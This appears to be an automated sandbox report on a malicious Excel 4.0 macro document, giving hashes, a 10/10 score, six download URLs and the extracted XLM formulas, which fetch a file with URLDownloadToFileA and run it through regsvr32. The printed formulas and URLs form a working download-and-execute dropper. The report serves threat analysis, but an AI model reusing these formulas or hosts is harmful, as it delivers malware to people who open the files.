General

  • Target

    8a915790f4ee152d6571baaf9889d329512b6f01bceb1f2f5e04555847f7e19c

  • Size

    40KB

  • Sample

    241120-pnffsaxdjl

  • MD5

    da0b76db649742e0fda517942a63a27c

  • SHA1

    4c8a72ac3f587493be01fff98c09be2eb3aa11a7

  • SHA256

    8a915790f4ee152d6571baaf9889d329512b6f01bceb1f2f5e04555847f7e19c

  • SHA512

    4c01d3e40dbeaa0d23ef6fecd50957792fca1c24e3247a2e5c82d40a679ae3825d071d972d3cfb474849f5e9e65e17d9a9887e4367260453ba9230723846c980

  • SSDEEP

    768:iknyGomihd8DOevZCwtCyKfcrND59V+L9Rw4eWrXcTqZ0Vfs3GTE:aGom8eDmylND59V4jwmXc2CVfs37

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://wellnessonus.com/wp-admin/OFq5F8Y/

http://choicepestcontrol.xyz/wellknown/PERKnM4X/

https://sse-studio.com/cq0xhpj/6pmmsaPCOGtG6/

http://velasaromaticasonline.com/wp-admin/5Id5LqSb3O3BUM5Z/

https://alonsoconsultancyservice.com/wp-content/0r7tMAnLfwKu0gvcH/

http://trainingchallenges.xyz/wp-admin/ebPbsOdsRJA9G/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wellnessonus.com/wp-admin/OFq5F8Y/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://choicepestcontrol.xyz/wellknown/PERKnM4X/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sse-studio.com/cq0xhpj/6pmmsaPCOGtG6/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://velasaromaticasonline.com/wp-admin/5Id5LqSb3O3BUM5Z/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alonsoconsultancyservice.com/wp-content/0r7tMAnLfwKu0gvcH/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://trainingchallenges.xyz/wp-admin/ebPbsOdsRJA9G/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://wellnessonus.com/wp-admin/OFq5F8Y/

xlm40.dropper

http://choicepestcontrol.xyz/wellknown/PERKnM4X/

xlm40.dropper

https://sse-studio.com/cq0xhpj/6pmmsaPCOGtG6/

xlm40.dropper

http://velasaromaticasonline.com/wp-admin/5Id5LqSb3O3BUM5Z/

xlm40.dropper

https://alonsoconsultancyservice.com/wp-content/0r7tMAnLfwKu0gvcH/

Targets

    • Target

      8a915790f4ee152d6571baaf9889d329512b6f01bceb1f2f5e04555847f7e19c

    • Size

      40KB

    • MD5

      da0b76db649742e0fda517942a63a27c

    • SHA1

      4c8a72ac3f587493be01fff98c09be2eb3aa11a7

    • SHA256

      8a915790f4ee152d6571baaf9889d329512b6f01bceb1f2f5e04555847f7e19c

    • SHA512

      4c01d3e40dbeaa0d23ef6fecd50957792fca1c24e3247a2e5c82d40a679ae3825d071d972d3cfb474849f5e9e65e17d9a9887e4367260453ba9230723846c980

    • SSDEEP

      768:iknyGomihd8DOevZCwtCyKfcrND59V+L9Rw4eWrXcTqZ0Vfs3GTE:aGom8eDmylND59V4jwmXc2CVfs37

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks